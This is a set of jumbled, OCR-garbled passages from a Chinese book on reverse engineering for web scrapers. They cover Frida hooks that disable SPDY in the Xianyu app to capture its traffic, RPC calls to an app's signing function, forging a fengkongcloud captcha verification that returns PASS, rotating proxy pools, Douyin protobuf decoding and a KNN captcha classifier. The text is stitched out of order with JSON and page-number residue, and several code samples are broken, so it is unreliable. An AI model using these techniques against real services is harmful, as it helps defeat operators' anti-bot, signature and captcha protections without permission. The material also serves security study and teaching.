APK 拖入 AK （ Android Killer） 中， 等 待反编译， 如图 8-2 所示。 反编译完成后， 全局搜一下 enableSpdy。 首先说一下 Spdy 是 Google 开发的基于 TCP 的会话层协议， 它 相对于 HTTP 协议只需增加一个 SPDY 传输层， 现有的所有服务端 应用均不用做任何修改。 所以找到 DisableSpdy、 enableSpdy， 就是 Spdy 的关键点。 搜索结果： 在 Dex8 中的 mtopsdk / mtop / global / SwitchConfig 中， 如图 8-3 所示。 Z： Bool 类型。 ·图 8-2 -＞： 引用对象类型。 Lxxxxx： L 是对象的意思。 ·图 8-3 如果 Android Killer 不能把 Dex8 的 Smali 转换成 Java 代码， 那么可以通过解压把 Dex8 单独拿出来， 用 Dex2jar 工具转成 class， 然后用 jd-gui 查看。 根据结果找一下方法名。 不同版本的方法名估计是不一样的， 所以最好找一个跟模拟器适配的版本， 然后反编译看看。 这里找到的方法名为 za（）， 如图 8- 4 所示。 找到方法之后， 开始编写 Frida 脚本。 Java.perform(function(){ var SwitchConfig = Java.use( mtopsdk.mtop.global.SwitchConfig ); SwitchConfig.za.overload().implementation = function () { return false; }}); . 2 69 爬虫逆向进阶实战 ·图 8-4 脚本的意思是把 za 方法 overload（）设置为关闭状态。 这里设脚本文件名字为 xy. js。 启动脚本： Frida -U -l xy. js --no-pause -f com. taobao. idlefish 然后开启抓包工具 httpCanary， 已经可以抓到包了， 如图 8-5 所示。 ·图 8-5 2 70 . 第 8 章 抓包技巧汇总 最终开了两个 cmd 窗口和一个模拟器。 一个启动 Frida-server， 一个执行 Frida 脚本， 然后在模拟器上 开启 httpCanary 捕获数据， 如图 8- 6 所示。 ·图 8-6 笔者在操作的时候也遇到过一些问题， 基本上是环境兼容导致的， 所以选择合理的环境是很重要的。 另外不同版本的 App 方法名是不同的， 一定要注意。 Cover"},
    {"text": "Unknown 2. 8 代理 IP 工具 代理 IP 大家都不陌生， 在开发中一般都是购买高质量的独享代理 IP。 而网络中也有一些可用的代理 IP， 能在用户做一些项目或者测试时节约成本。 而代理池的主要功能就是定时采集网上发布的免费代理， 定时验证入库的代理， 保证代理的可用性。 本节内容推荐的是 Github 中开源的代理池项目。 2 8. 第 2 章 Python 爬虫技巧 2. 8. 1 Proxy_pool Github 万星项目： https： / / Github. com/ jhao104/ proxy_pool Proxy_pool 是一个代理 IP 抓取、 评估、 存储、 展示的一体化工具。 主要使用 Flask 搭建 Web 服务， 通 过爬虫定时抓取， 用 Redis 进行存储和通信， 项目可通过 Docker 部署。 Proxy_pool 目前实现了十多家免费代理网站的采集， 如图 2-24 所示。 具体的环境搭建就不再描述了， 大家按照 Requirements 安装即可。 启动 Web 服务后， 默认会开启 5010 端口的 Api 接口服务。 使用时按照接口描述请求代理即可， 如 图 2-25 所示。 ·图 2-24 ·图 2-25 该项目的架构虽然很简单， 但是作者一直在维护， 很适合个人上手搭建。 2. 8. 2 Pyproxy-Async Pyproxy-Async 是基于 Asyncio 协程+Redis 实现的代理池。 目前支持使用同一个 Redis 地址， 实现集群 IP 检测以及抓取。 Github 地址： https： / / Github. com/ pjialin/ Pyproxy-Async 项目服务流程如图 2-26 所示。 ·图 2-26 . 2 9 爬虫逆向进阶实战 代理检测流程如图 2-27 所示。 ·图 2-27 代理推送流程如图 2-28 所示。 ·图 2-28 通过 Pyproxy-Async 项目可以对代理池有一个更清晰的认识， 大家可参照流程图自行搭建一个代 理池。 项目安装和部署都很简单， 大家按照文档安装即可。 如何确定自己成功使用了代理 IP? 一般情况下可以访问 httpbin. org / get 获取当前请求信息， 查看访问 IP 是否改变。 另外不同类型 的代理 IP 质量不同， 透明代理很容易被服务端识别到真实的访问来源， 所以要多进行测试， 尽量选 择高质量的代理 IP。 3 0. Web Js 逆向 Web 页面大家都不陌生， 在 Web 开发中后端负责程序架构和数据管理， 前端负责页面展示和用户交 互， 有一种不严谨的说法是： 前端代码给浏览器看， 后端代码给服务器看。 有开发经验的读者对前后端交互的理解也会更深一点， 在这种前后端分离的开发方式中， 以接口为 标准来进行联调整合。 为了保证接口在调用时数据的安全性， 也为了防止请求参数被篡改， 大多数接口 都进行了请求签名、 身份认证、 动态 Cookie 等机制。 另外部分网站会对返回的数据进行加密， 通常利用 AES、 RSA 等加密方式， 也有在传输时对数据进行序列化， 比如 Protobuf 等， 这些会在后面进行详细讲解。 请求签名十分常见， 比如 URL 中的加密参数 sign， 身份认证也有很多例子， 比如动态 Cookie。 这些 参数的生成方法都是由 Js 来控制的， 如果要想直接从接口上获取数据， 就要去调试分析 JavaScript 的调用 逻辑、 堆栈调用关系来弄清楚网站加密的实现方法， 根据网站的参数生成规则还原加密参数， 可以称这 个过程为 Js 逆向。 笔者总结了一下目前加密参数的常用逆向方式， 一种是根据源码的生成逻辑还原加密代码， 另一种 是补环境 Copy 源码模拟加密参数生成， 还有一种是通过 RPC 的方式远程调用。 笔者用得最多的是补环境 跑源码， 整体来看会相对方便和高效。 而在一些逆向案例中， 其中的关键就是将浏览器环境移植到 Node 环境中， Node Js 采用的内核也为 V8 引擎， 该引擎调用对方 Js 的可行性并不是 100%， 同时由于 Node 没有界面渲染， 因此在浏览器中可使 用的例如 window、 navigator、 dom 等操作在 node 中是不存在的， 所以对于 Node Js 的环境搭建和浏览器环 境补齐也是 Js 逆向需要掌握的。 值得一提的是 Chrome 作为 Js 逆向的核心工具， 熟练掌握 Chrome 的控制台、 插件编写就足够应对绝 大多数的抓包、 调试、 Hook 等， 这些内容都会在后续进行讲解。"},
    {"text": "Unknown 6. Frida 远程调用 远程调用 （RPC） 的原理在之前的 Web 逆向中有所说明。 RPC 对于逆向分析起到了很便捷的作用， 比如有一个加解密的函数， 想分析整个加解密的流程需要耗费非常多的时间。 此时可以使用 RPC， 只要 确定加解密函数的位置， 还有对应的参数， 即可直接调用加解密函数。 远程调用代码示例： import Frida def on_message(message, data): print(\"[% s] => % s\" % (message, data)) session = Frida.get_usb_device().attach( com.xx.xx ) js_code = \"\"\" rpc.exports = { add:function (a, b) { return a + b; } }; \"\"\" script = session.create_script(js_code) script.on( message , on_message) script.load() print(script.exports.add(2, 3)) session.detach() Python 可以结合 Flask 实现 RPC。 下方代码中通过 flask 开启 Web 服务， 通过 Frida 附加到目标进程中 去调用 a 方法， 获得参数 Sign。 2 22 . 第 6 章 Android 逆向 import Frida from flask import Flask, jsonify, request App = Flask(_name_) def on_message(message, data): print(\"[% s] => % s\" % (message, data)) def start_hook(): # 启动应用并附加进程 device =Frida.get_usb_device(timeout=5) pid = device.spawn([\"App 包名\"]) device.resume(pid) session = device.attach(pid) print(\"[* ] start hook\") # 加载脚本 js_code = // 导出 RPC 函数 rpc.exports = { \"a\":function (str1) { var ret = {}; Java.perform(function () { var tt1 = Java.use(\"xx.xx.xx\"); var result = tt1.a(\"\"); ret[\"Sign\"] =result; }); return ret; } }; script = session.create_script(js_code) script.on( message , on_message) script.load() return script @ App.route(\"/hook\") def search(): param = request.args.get(\"param\") Sign = start_hook().exports.a(param) return jsonify({ result :Sign}) if _name_ = = _main_ : App.run() 上面的代码只是示例， 一些地方在使用中需要修改， 比如当前附加方式是先启动应用， 再进行代码 注入， 如果不需要重启应用， 可以直接使用 Frida. get_usb_device（ ） . attach （ ） 来附加。 另外需要注意 RPC 导出函数中的 return 位置， 不能放到 Java. perform 中返回， 需要写到自定义的函数中。 Github 上有一款基于 FastApi 实现的 Frida-RPC 工具 Arida。 Arida 可以自动解析 JavaScript 文件生成对 应 Api 接口， 具备文件的映射关系， 可以自动生成 OpenAi 文档， 能大幅度提高工作效率。 . 2 23 爬虫逆向进阶实战 Github 地址： https： / / Github. com/ lateautumn4lin/ arida 官方实现原理： 通过 Js 的 AST 树结构去获取 Frida-Js 脚本中 rpc. exports 的方法以及对应方法的参数 个数， 根据方法名和参数个数通过 types. FunctionDef 从 Python AST 字节码来动态生成新的 Function 对象， 并且结合 Pydantic 的 create_model 自动生成的参数模型注册到 FastAPI 的路由系统中， 实现 Frida-RPC 的功 能， 如图 6-72 所示。 ·图 6-72 Unknown 3. 10 常见协议分析 关于通信协议和传输协议这块不论是开发还是逆向都需要了解。 而大家在 Js 逆向或者安卓逆向时也 都会经常接触到， 本来是准备单独抽出来一章进行讲解的， 但是考虑到案例问题， 就放置到了 Js 逆向中。 先结合 Js 逆向案例和大家介绍常用的协议， 以及如何进行定位分析。 常用通信协议有 http / https、 Websocket / wss、 TLS 等。 常用数据传输协议有 json、 xml、 Protobuf、 Tlv 等。 本节内容主要讲解在爬虫开发中遇到 webSocket 协议和 Protobuf 协议的处理方法。 3. 10. 1 webSocket 协议 webSocket 是基于 TCP 的应用层协议， webSocket 和 wss 的关系类似 http 和 https。 webSocket 采用双向通信模式， 客户端与服务器之间建立连接后， 不论是客户端还是服务端都可以随 时将数据发送给对方， 不过每隔一段时间就发送一次心跳包维持长连接。 像常见的应用场景就是社交聊天室、 股票基金实时报价、 实时定位、 直播间的信息流等。 本节内容 结合实例， 带大家了解 webSocket， 掌握 webSocket 的分析技巧。 Unknown 5. 验证 Api： https： / / captcha. fengkongcloud. com/ ca / v2/ fverify？。 params = { protocol : 70 , organization : RlokQwRlVjUrTUlkIqOg , rversion : 1.0.3 , oe : V/QxFC7ISm1= , nj : 1ISY9IKNM+OGjwl0F7LP...省略...7VOki5p4sm+h/qMX2QAhN/4w , zl : 8LwMmaImogs= , sq : 14RHMSbfhJU= , . 3 53 爬虫逆向进阶实战 kh : qCcI31wL/Fs= , mn : 4AAyKWNy6K0= , rid : 20210113105643e313f68a420c9d240d , ch : uiJ+hjbCOka= , yv : b9NFDsBKGcg= , ga : WssDiJ1wOQI= , ko : 14bDqW72JnI= , callback : sm_1610506618948 , act.os : web_pc , vj : IFXKu8Pjb3k= , ostype : web , sdkver : 1.1.3 } params 参数里的 oe， mn， kh 等， 都经过了 DES 加密， Js 文件就不具体分析了。 最后模拟请求并提交验证， 返回 message： “success”， riskLevel： “PASS” 说明验证通过， 如图 10-33 所示。 ·图 10-33"},
    {"text": "Unknown 1. webSocket 接口分析 测试站点很适合作为分析案例。 webSocket 测试站点： http： / / coolaf. com/ zh/ tool/ chattest chrome 浏览器可以直接捕获到 webSocket 的数据包， 只需要在 Network 中选择 WS 即可。 打开测试站 点， 连接网站提供的 ws 接口， 可以在控制台看到数据包， 如图 3-97 所示。 ·图 3-97 . 9 3 爬虫逆向进阶实战 Request Headers 中有独特的参数： Sec-WebSocket-Key： 浏览器随机生成的 Base64 encode 值， 可以伪造。 Sec-WebSocket-Extensions： 服务端发送的头字段， 请求头扩展。 Sec-WebSocket-Version： 服务器的 WebSocket Draft （协议版本）， 不能修改。 发送一条消息， 继续观察接口。 可以在 Messages 中查看到 Data， 其中绿色是客户端发送的， 红色是 接收的服务端消息， 如图 3-98 所示。 ·图 3-98 分析参数时， 可以根据关键词进行全局搜索， 因为在 Js 中 webSocket 这些关键词是固定的， 比如搜索 message、 on_message、 onmessage、 on_open、 onopen、 ws. send 等， 可以让大家快速定位。 Unknown 6. 5 加密参数定位方法 在逆向一个 Android 程序时， 如果只是盲目分析， 可能需要阅读成千上万行的反汇编代码， 才能找到 程序的关键点或者 Hook 点， 这无疑是浪费时间， 本节将分享一下如何快速定位到程序的关键代码。 6. 5. 1 静态分析 静态分析是巧用搜索， 找加密参数的流程都是先查壳 （脱壳）、 反编译、 查找程序的入口方法、 分析 程序的执行流程。 假设已经使用 Android killer 反编译了未加壳的 App， 直接使用工程搜索检索需要查找的参数名， 一般 是根据程序运行中出现的特征字词进行搜索， 然后根据 AK 的反馈信息进行对比， 找到其对应的参数 位置。 6. 5. 2 动态分析 objection 是基于 Frida 的动态分析工具包， 在 Frida 章节中已经介绍过。 在通过搜索之后， 如果有几个不确定的位置， 则可以使用 objection， objection 就是专业的定位小能 手， 从定位流程上来说也只有三步。 （1） 注入目标进程。 objection -g com. xxx. xxx explore （2） 跟踪类。 android hooking watch class com. xxx. xxx. lx. ApiSign （3） 查看入参和返回值。 android hooking watch class_method com. xxx. xxx. lx. ApiSign. a --dump-args --dump-return 然后通过参数和返回值与请求接口中的协议进行对比， 就可以确定究竟是在哪一个位置了， 非常简 单实用。 6. 5. 3 日志注入 日志注入是在 Smali 中修改代码插入 log 日志， 修改后需要回编译和签名。 从本质上讲， Smali 代码注 入是在已有的 APK 或 JAR 包中插入 Dalvik 虚拟机的指令， 从而改变原本程序的执行。 如果想要确定某个方法是否被调用， 或者查看某参数值， 可以使用 Android Killer 进行反编译， 找到 Smali 文件后， 在函数中单击鼠标右键， 选择 “插入代码”， 然后选择 Log 信息输出。 插入日志后， 需要使用 APKtools 将 Smali 代码回编译成 APK， 然后将 APK 安装到移动设备中， 即可 通过一些虚拟机调试或监控工具来查看插入的日志信息， 比如 DDMS （Dalvik Debug Monitor Service）。 6. 5. 4 动态调试 通过动态调试可以更好地进行程序分析、 加密定位， 可以通过 Android Studio 或者 JEB 动态调试 Smali， 通过 IDA 动态调试 Dex 和 so。 . 2 39 爬虫逆向进阶实战 6. 5. 5 技巧补充 大部分请求是通过 http 进行封装的， 所以有时去 Hook URL 的构造方法， 可以更方便地找到代码关 键点。 Xposed Hook 代码： RposedBridge.hookAllConstructors(URL.class , new RC_MethodHook ( ) { @ Override protected void afterHookedMethod ( MethodHookParam param ) throws Throwable { String url = param. thisObject + \" \" ; if ( url . contains ( \" _signature\" ) ) { //... } } } ) ; 假设某 App 的接口有 signature 签名， 该参数值看上去像是 Base64， 并且长度为定长且少于 20 位。 这 个时候如果通过工具全局搜索没有找到， 则可以 Hook App 中所有操作 Base64 的位置。 Frida Hook 代码如下： var Base64Class = Java.use(\"android.util.Base64\"); Base64Class .encodeToString.overload(\"[ B\", \"int\").implementation = function (a,b){ var resault = this .encodeToString(a,b); if (resault.length <= 20){ var stackAdd = threadinstance.currentThread().getStackTrace(); console .log(Where(stack )); } return rc; } 通过这种方式大概率能打印出签名计算的位置， 这属于巧计的一种。 当然也可以使用 Xposed 去做相 同的操作， 通过 Hook 一些关键 Api 来获取程序加载时的数据。"},
    {"text": "Unknown 2. 抖音 Protobuf 解析案例 本节案例是基于抖音 Web 直播数据的 Protobuf 协议解析。 抓包查看数据可以发现， 该数据具有关键词 WebxxxxMessage， 直接全局搜索 message。 可 以发现相关方法都在 common-utils-message. js 中。 而网站定义的 proto 文件也在 Js 中。 想要解析经过序列化的响应数据内容， 就需要定义一个相同的 proto 文件。 为要序列化的每个数据结 构添加条 message， 然后为 message 中的每个字段指定一个名称和类型。 而名称和类型在上面已经给出 来了。 通过图 3-113 的 ChatMessage， 可以直接在本地进行编写。 ·图 3-113 根据 e. encode 内容定义 proto 文件： messageChatMessage{ Common common = 1; User user = 2; string content = 3; bool visibleToSender = 4; Image backgroundImage = 5; string fullScreenTextColor = 6; Image backgroundImageV2 = 7; PublicAreaCommon publicAreaCommon = 9; Image giftImage = 10; } 再比如这个 GiftMessage， 如图 3-114 所示。 则 proto 文件内容如下： 1 00 . 第 3 章 Web Js 逆向 ·图 3-114 messageGiftMessage{ repeated Common common =1; uint64 giftId =2; uint64 fanTicketCount =3; uint64 groupCount =4; uint64 repeatCount =5; uint64 comboCount =6; repeated User user =7; repeated User toUser =8; int32repeatEnd = 9; TextEffect textEffect = 10; int64groupId = 11; int64incomeTaskgifts = 12; int64roomFanTicketCount = 13; } 想还原哪个方法， 就按 Js 中的内容进行修改。 完整的 proto 文件示例如下： syntax = \"proto3\"; message test{ repeated Message message =1; string cursor =2; uint64 fetchInterval=3; uint64 now=4; string internalExt=5; int32 fetchType=6; } . 1 01 爬虫逆向进阶实战 message Message{ string method=1; bytes payload=2; uint64 msgId=3; int32 msgType=4; uint64 offset=5; int64 rankScore = 7; int64 topUserNo = 8; int64 enterType = 9; int64 action = 10; int64 userId = 12; string popStr = 14; } message WebcastMemberMessage{ repeated Common common=1; repeated User user=2; uint64 memberCount=3; repeated User operator=4; bool isSetToAdmin=5; bool isTopUser=6; } message WebcastLikeMessage{ repeated Common common=1; uint64 count=2; uint64 total=3; uint64 color=4; repeated User user=5; string icon=6; } message WebcastChatMessage{ repeated Common common=1; repeated User user=2; string content=3; bool visibleToSender = 4; string fullScreenTextColor = 6; } message WebcastGiftMessage{ repeated Common common=1; uint64 giftId=2; uint64 fanTicketCount=3; uint64 groupCount=4; uint64 repeatCount=5; uint64 comboCount=6; repeated User user=7; repeated User toUser=8; } message Common{ string method=1; 1 02 . 第 3 章 Web Js 逆向 uint64 msgId=2; uint64 roomId=3; uint64 createTime=4; int32 monitor=5; bool isShowMsg=6; string describe=7; uint64 foldType=9; } message User{ int64 id = 1; int64shortId = 2; string nickname = 3; int32 gender = 4; string signature = 5; int32 level = 6; int64 birthday = 7; string telephone = 8; bool verified = 12; int32 experience = 13; string city = 14; int32 status = 15; int64 createTime = 16; int64 modifyTime = 17; int32 secret = 18; string shareQrcodeUri = 19; int32 incomeSharePercent = 20; } 定义好了之后， 需要转换成 py 文件才能调用。 这里需要使用 protoc. exe 把 xx. proto 文件编译为 xx_ pb2. py。 命令： protoc. exe --Python_out=. . / xx. proto。 调用示例： from google.Protobuf.json_format import MessageToDict from xx_pb2 import * import base64 def on_message(data): danmu_resp = test() danmu_resp.ParseFromString(data) Message =MessageToDict(danmu_resp, preserving_proto_field_name=True ) for message in Message[\"message\"]: method = message[\"method\"] payload =bytes(base64.b64decode(message[\"payload\"].encode())) if method = = \"WebcastMemberMessage\": menber_message = WebcastMemberMessage() menber_message.ParseFromString(payload) mes=MessageToDict(menber_message, preserving_proto_field_name=True ) print(mes) elif method = = \"WebcastLikeMessage\": ... . 1 03 爬虫逆向进阶实战 现在已经完成了 Python 对 Protobuf 序列化数据的解析。"},
    {"text": "Unknown 1. IDA 基本介绍 目前一般都是使用 IDA Pro7. x 版本， 下载链接可以到代码库中查看， 也可以到网上查找软件资源。 安装后， 查看 IDA 的安装根目录， 目录中的各个文件夹存储了不同的内容， 如图 6-17 所示。 ·图 6-17 cfg 目录包含了各种配置文件， 如 IDA 配置文件 ida. cfg、 GUI 配置文件 idagui. cfg、 文本模式用户界面 配置文件 idatui. cfg。 dbgsrv 目录中包含了各种环境下的 IDA 调试工具 android_server、 linux_server 等。 idc 目录包含了 IDA 的内置脚本语言 IDC 所需的核心文件。 ids 包含了一些符号文件， 用于描述可被加载到 IDA 的二进制文件引用的共享库的内容。 loaders 目录包含在文件加载过程中用于识别和解析 PE 或 ELF 等文件格式的 IDA 扩展。 plugins 目录包含了附加的插件模块。 procs 目录包含了已安装的 IDA 版本 所支持的处理器模块。 sig 目录包含了 IDA 在各种模式匹配 操作中利用的现有代码的签名。 启动 IDA， 新建一 个 项 目， 找 一个 Android APK 或者 so 文件并拖入 IDA 中， 一般 IDA Pro 能够自动检测文件类型， 选 择默认格式载入即可。 如果不知道文件 是什么类型， 就选择 Binary 载入 （ 二进 制文件加载）， 如图 6-18 所示。 单击 “OK” 按钮等待 IDA 反汇编完 成， 如图 6-19 所示。 一般正常的界面如上图所示， 分为 ·图 6-18 1 90 . 第 6 章 Android 逆向 ·图 6-19 菜单栏、 工具栏、 导航栏、 函数窗口、 工作窗口。 菜单栏位于最顶部， 有 File、 Edit、 Jump、 Search、 Viem 等一行的可选菜单。 工具栏位于菜单栏下方， 主要是导入、 保存、 搜索、 调试等功能操作， 如图 6-20 所示。 ·图 6-20 导航栏是工具栏下面紧挨着的彩色水平带， 导航栏也叫作导航带， 是 IDA 加载出的地址空间线性视 图， 导航栏中有 6 种颜色， 表示不同的代码块， 浅蓝色表示库函数、 深蓝色表示常规函数、 棕色表示指 令、 灰色表示数据、 绿色和黄色表示未知情况、 粉色表示不确定的外部符号。 单击不同位置不同颜色的 线条会跳转到对应的代码区域。 在导航栏下面是函数窗口和工作窗口。 函数窗口是左侧的 Functions window， 列举了 IDA Pro 识别出 的每一个函数， 包括函数名、 函数起始地址、 函数长度、 函数所属段、 参数等信息， 双击函数可跳转到 对应函数位置查看详细信息。 右侧的工作窗口主要有 IDA View-A、 HEX View-A、 Structures、 Enums、 Exports 和 Imports 五个版块。 IDA View-A 是分析窗口， 支持两种显示模式： 默认的反汇编模式和图形视图模式。 图形视图通过在 工作区域单击鼠标右键， 选择 “Grapy View” 命令， 它展示了函数整体的执行流程， 非常炫酷。 也可以使 用空格键在两种视图之间切换， 如图 6-21 所示。 HEX View-A 是 16 进制的分析窗口， 可以用 F2 快捷键对数据区域 （绿色字符区域） 在只读和编辑两 种状态切换， 方便定位代码后进行数据修改。 . 1 91 爬虫逆向进阶实战 ·图 6-21 Strctures 是结构体窗口， 用于展示 IDA Pro 在被分析的二进制文件中使用的数据结构。 Enums 是枚举窗口， Exports 是输出函数参考， Imports 是输入函数参考。 除了这些展示的窗口， 还有 String window 字符串窗口， 可以使用快捷键 Ctrl+F12 打开， 显示程序中 所有字符串， 方便检索定位。"},
    {"text": "Unknown 3. 1 逆向基础 下面讲解一下逆向基础内容。 3. 1. 1 语法基础 Js 调试相对方便， 通常只需要 chrome 或者一些抓包工具、 扩展插件， 就能顺利完成逆向分析。 但是 Js 的弱类型和语法多样， 各种闭包、 逗号表达式等语法让代码可读性变得不如其他语言顺畅。 所以需要 . 3 1 爬虫逆向进阶实战 学习以下基础语法， 如表 3-1 到表 3- 8 所示。 表 3-1 基本数据类型 String 字 符 串 Number 数字 Boolean 布尔 Null 空值 Undefined 未定义 Symbol 独一无二的值 表 3-2 引用数据类型 Object 对 象 Array 数组 Function 函数 表 3-3 语句标识符 do. . . while 在条件为 true 时重复执行 while 在条件为 true 时执行 for 循环遍历 If. . . else. . . 条件判断 switch 根据情况执行代码块 break 退出循环 try. . . catch. . . finally 异常捕获 Throw 抛出异常 const 声明固定值的变量 class 声明类 return 停止函数并返回 let 声明块作用域的变量 var 声明变量 debugger 断点调试 this 当前所属对象 表 3- 4 算术运算符 + 加 - 减 ∗ 乘 / 除 % 除余 ++ 累加 -- 递减 3 2. 第 3 章 Web Js 逆向 表 3-5 比较运算符 = = 等 于 = = = 相等值或者相等类型 != 不等于 != = 不相等值或者不相等类型 ＞ 大于 ＜ 小于 ＞ = 大于等于 ＜ = 小于等于 表 3- 6 条件 （三元） 运算符 (∗) ？ \" ∗1\" :\" ∗2\" 如果∗满足或存在， 则∗1， 否则∗2 表 3-7 逻辑运算符 && and | | or ! not 表 3- 8 位运算符 & 如果两位都是 1， 则设置每位为 1 | 如果两位之一为 1， 则设置每位为 1 ～ 反转所有位 ^ 异或运算 ＜＜ 零填充左位移 ＞＞ 有符号右位移 ＞＞＞ 零填充右位移 在 JavaScript 中将数字存储为 64 位浮点数， 但所有按位运算都以 32 位二进制数执行。 在执行位运算 之前， JavaScript 将数字转换为 32 位有符号整数。 执行按位操作后， 结果将转换回 64 位 JavaScript 数。 3. 1. 2 作用域 Js 中有一个被称为作用域 （Scope） 的特性。 作用域是在运行时代码中的某些特定部分中变量、 函数 和对象的可访问性。 换句话说， 作用域决定了代码区块中变量和其他资源的可见性。 就像 Python 中的 LEGB 一样， 作用域最大的用处就是隔离变量， 不同作用域下同名变量不会有冲突。 Js 的作用域分为三种： 全局作用域、 函数作用域、 块级作用域。 全局作用域可以让用户在任何位置 进行调用， 需要注意的是最外层函数和在最外层函数外面定义的变量拥有全局作用域， 所有未定义直接 赋值的变量会自动声明为拥有全局作用域， 所有 window 对象的属性也拥有全局作用域。 函数作用域也就 是说只有在函数内部可以被访问， 当然函数内部是可以访问全局作用域的。 块级作用域则是在 if 和 switch . 3 3 爬虫逆向进阶实战 的条件语句或 for 和 while 的循环语句中， 块级作用域可通过新增命令 let 和 const 声明， 所声明的变量在 指定块的作用域外无法被访问。 在浏览器上定义一个全局属性， 用 var name = \" lx\" ；。 可以看到图 3-1 的取值方法， 全局作用域的属性可以直接通过名字调用， 或者用 window. ∗来调用， 也可以用 window [∗] 来调用。 接下来定义一个方法， 方法中定义了一个 user， 此时在 console 中直接调用就会报错 not defined， 如 图 3-2 所示。 ·图 3-1 ·图 3-2 此时我们对 n 进行断点， 再来调用 n 中的 user 就 可以进行查看了， 如图 3-3 所示。 所以在以后调试时， 当需要查看某一个方法或属 性时， 就通过断点在控制台进行 console。 或者修改 Js 文件， 将其定义给一个全局属性。 这关系到以后在调试中的调用问题， 所以需要熟 练掌握 Js 的作用域规则。 3. 1. 3 窗口对象属性 ·图 3-3 笔者列出了浏览器 window 的常见属性和方法。 因为很多环境监测都是基于这些属性和方法的， 在补 环境前， 需要了解 window 对象的常用属性和方法。 Unknown 8. 5 方法补充 抓包也是一件神奇的事情， 各种各样的场景总是让人猝不及防， 有时候会出现各种兼容问题让设备 无法正常抓包。 本节推荐一款基于 Frida 开发的 Android 抓包工具 r0capture， 它捕获 TCP 协议层及上层所有协议的报文， 不用考虑证书校验等问题， 无视应用加固， 对 Http、 WebSocket、 Ftp、 Xmpp、 Protobuf 等协议都能拦截。 Github 地址： https： / / Github. com/ r0ysue / r0capture r0capture 和常用的抓包软件原理上有一些区别， 比如 Charles、 Fiddler 这种是通过中间人原理捕获明 文请求， 而 r0capture 主要是 Hook Android libssl. so 的 SSL_read 和 SSL_write 函数， 将进入 SSL 之前的报文 存储下来。 但是运行时需要 Frida 环境， 且目前支持的 Android 系统在 7～ 10， 数据包保存下来后， 需要通 过 Wireshark 解析。 启动方式很简单， 通过基础指令+包名+存储的文件名， 如图 8-7 所示。 启动命令： Python r0capture. py -U -f com. xx. xx -p xx. pcap 通过 Wireshark 打开并保存下来的 pcap 文件， 进行数据包分析， 如图 8- 8 所示。 . 2 71 爬虫逆向进阶实战 ·图 8-7 ·图 8-8 尽管 Wireshark 查看 HTTP 报文很不方便， 没有 Charles、 Fiddler 这种工具好用， 但是对于其他协议或 者只进行简单的报文分析还是很有帮助的。 2 72 . Android 逆向案例 因为 Android 逆向技术目前存在一些问题， 有一些内容没办法写到书中， 笔者尽量描述得详细一些， 让大家都能按原流程实现， 另外可能随着时间的变化， 某些应用会更新， 导致方法失效， 笔者会在博客 持续维护旧案例、 编写新案例。"},
    {"text": "Unknown 5. Inspeckage Xposed 的插件和模块很多， 这里列出一个对逆向分析很有帮助的模块 Inspeckage。 Inspeckage 是一个基于 Xposed 开发的 Android 应用动态分析模块， 有一个 HTTP 服务器来展示网页界 面。 可在 Xposed 中下载或者直接在设备中安装下载好的 Inspeckage APK， 如图 6- 60 所示。 . 2 11 爬虫逆向进阶实战 ·图 6-59 Github 地址： https： / / Github. com/ ac-pm/ Inspeckage ·图 6-60 在 Xposed 上完成配置之后， 打开软件。 可以看到 Inspeckage 的控制界面， 能选择指定的 App 去分析， 如图 6- 61 所示。 这里选择了京东的 App， 启动 App， 查看一下 Inspeckage 的 Web 页面上都有什么， 如图 6- 62 所示。 ·图 6-61 ·图 6-62 2 12 . 第 6 章 Android 逆向 除了基本的应用信息外， 还包含了很多对分析非常有帮助的功能， 如表 6-19 所示。 表 6-19 帮助功能 工 具 栏 简 介 Serialization 反序列化记录 Crypto 加解密记录 (KEY、 IV 值) Hash 哈希算法记录 SQLite SQLite 数据库记录 HTTP HTTP 网络请求记录 File System 文件读写记录 Misc. URL. Parse()记录 WebView 调用 webView 记录 IPC 进程通信记录 +Hooks 自定义 Hook 记录 善用工具可以事半功倍， 也是逆向技术进步的标志。 6. 3. 2 Frida Frida 是一个由 Python 语言编写的 Hook 框架， 它可以帮助逆向人员对指定的进程或者指定的 so 模块 进行分析。 通过 Frida 可以把一段 JavaScript 代码注入某个进程中去， 也可以把一个动态库加载到另一个 进程中去。 通常使用 Frida 来获取进程的信息 （模块列表、 线程列表、 库导出函数）， 拦截指定函数和调 用指定函数。 总而言之， 使用 Frida 可以对进程模块进行各种操作， 如图 6- 63 所示。 ·图 6-63 Frida 的核心是用 C 语言编写的， 并集成了 Google 的 V8 引擎， 把 V8 引擎注入目标进程后， 可以通过 Js 访问内存、 Hook 函数， 甚至在进程内部调用本机函数。 所以使用 Frida 可以快速开发 Hook 脚本， 并且 Js 代码有异常的话， Frida 也会捕获异常， 不会结束目标进程。 作为目前最受欢迎的 Hook 框架， Frida 已具有了跨度广、 扩展多、 效率高的强大特性， 所以要成为优 秀的爬虫工程师， Frida 是必不可少的技能。 因为可能会出现设备不通用的问题， 所以书中涉及 Frida 的案 例皆使用模拟器来搭建 Frida 环境。 Unknown 6. 3 Android Hook 工具 Hook 是 Android 逆向中最常用和最有效的逆向分析方法， 本节对 Android 逆向时常用的 Hook 工具做 一个总结， 一般只要熟练掌握其中任何一个， 都可以满足基本的逆向需求， 比如进行堆栈调试、 方法或 参数的定位及修改， 以及返回值的修改等操作。 当然重点讲解内容还是放在 Xposed、 Frida、 Unidbg 上， 其他的工具只做一些基本介绍。 6. 3. 1 Xposed Xposed 框架 （Xposed Framework） 是一套开源的、 在 Root 权限模式下运行的 Hook 框架， 可以在不修 改 APK 文件的情况下影响程序运行的框架服务， 基于它可以制作出许多功能强大的模块， 且在功能不冲 突的情况下同时运行， 如图 6- 40 所示。 2 00 . 第 6 章 Android 逆向 ·图 6-40 Unknown 3. 验证码特征提取 这里的思路是： 利用 numpy 先把 train_data_img 文件夹下的图片转换成向量。 from PIL import Image import numpy as np def img2vec(fname): 将图片转为向量 im = Image.open(fname).convert( L ) im = im.resize((30,30)) ·图 10-10 tmp = np.array(im) vec = tmp.ravel() return vec 然后利用标注好的标签， 来做特征提取。 import os tarin_img_path = train_data_img defsplit_data(): X = [] y = [] for i in os.listdir(tarin_img_path): path = os.path.join(tarin_img_path, i) fn_list = os.listdir(path) . 3 41 爬虫逆向进阶实战 for name in fn_list: y.Append(name[0]) X.Append(img2vec(os.path.join(path,name))) return X, y # x 向量、y 标签 构建一个分类器， 这里使用的是 sklearn 中的 knn 方法。 from sklearn.neighbors import KNeighborsClassifier as knn def knn_clf(X_train,label): 构建分类器 clf = knn() clf.fit(X_train,label) return clf 